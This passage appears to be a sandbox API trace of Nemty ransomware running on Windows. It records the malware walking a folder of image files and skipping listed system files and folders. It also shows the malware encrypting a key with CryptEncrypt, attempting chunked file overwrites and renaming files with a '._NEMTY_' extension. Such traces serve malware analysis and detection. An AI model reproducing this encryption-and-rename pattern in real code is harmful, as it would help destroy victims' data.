cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0096.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0096.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0096.499] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.499] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0096.499] Sleep (dwMilliseconds=0x5) [0096.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed2a3e70, dwHighDateTime=0x1d561e7)) [0096.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed2a3e70, dwHighDateTime=0x1d561e7)) [0096.500] GetLastError () returned 0x5 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.500] GetLastError () returned 0x5 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.500] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0096.500] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="WhG+xbEi5p4OAumjoWZmqb4UnRunawlDSNYG/e5wS7qO+futUkV4Yn2NGCv74j1l\r\nmfaPgpKdD7ZFNlYlaPZ9qyH/qjsYto1/StrRSANf8kmLre0bJikq3Eys2HO5ua+i\r\n/nDHhDzOXowrhVKHpcflPlYIh/ik7sjCNX1SrEW94Oc8Xvx8p/awMDztmueBIaQZ\r\n27ahNj3+z2+dou897MPA95NgekmeF2GJvj7xWTWMFdobZ58+kq3JlXo0PU2T6h4O\r\nLrfx/bhkRyEKf93PL76JndsmAbh/wZZbHPtnF4jBUGsBuy5GF1TWDJ2EjhSHLTdc\r\nArXg9e4GSUGu6nrwSlUGeg==\r\n", pcchString=0x653e91c) returned 1 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0096.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.500] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.500] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.607] CloseHandle (hObject=0xffffffff) returned 0 [0096.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0096.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0096.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0096.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0096.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.607] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0096.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.608] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0096.608] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0096.609] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0096.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94328 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0096.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0096.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0096.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0096.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0096.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0096.609] Sleep (dwMilliseconds=0x5) [0096.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed3d4970, dwHighDateTime=0x1d561e7)) [0096.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed3d4970, dwHighDateTime=0x1d561e7)) [0096.624] GetLastError () returned 0x5 [0096.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.624] GetLastError () returned 0x5 [0096.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.624] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, 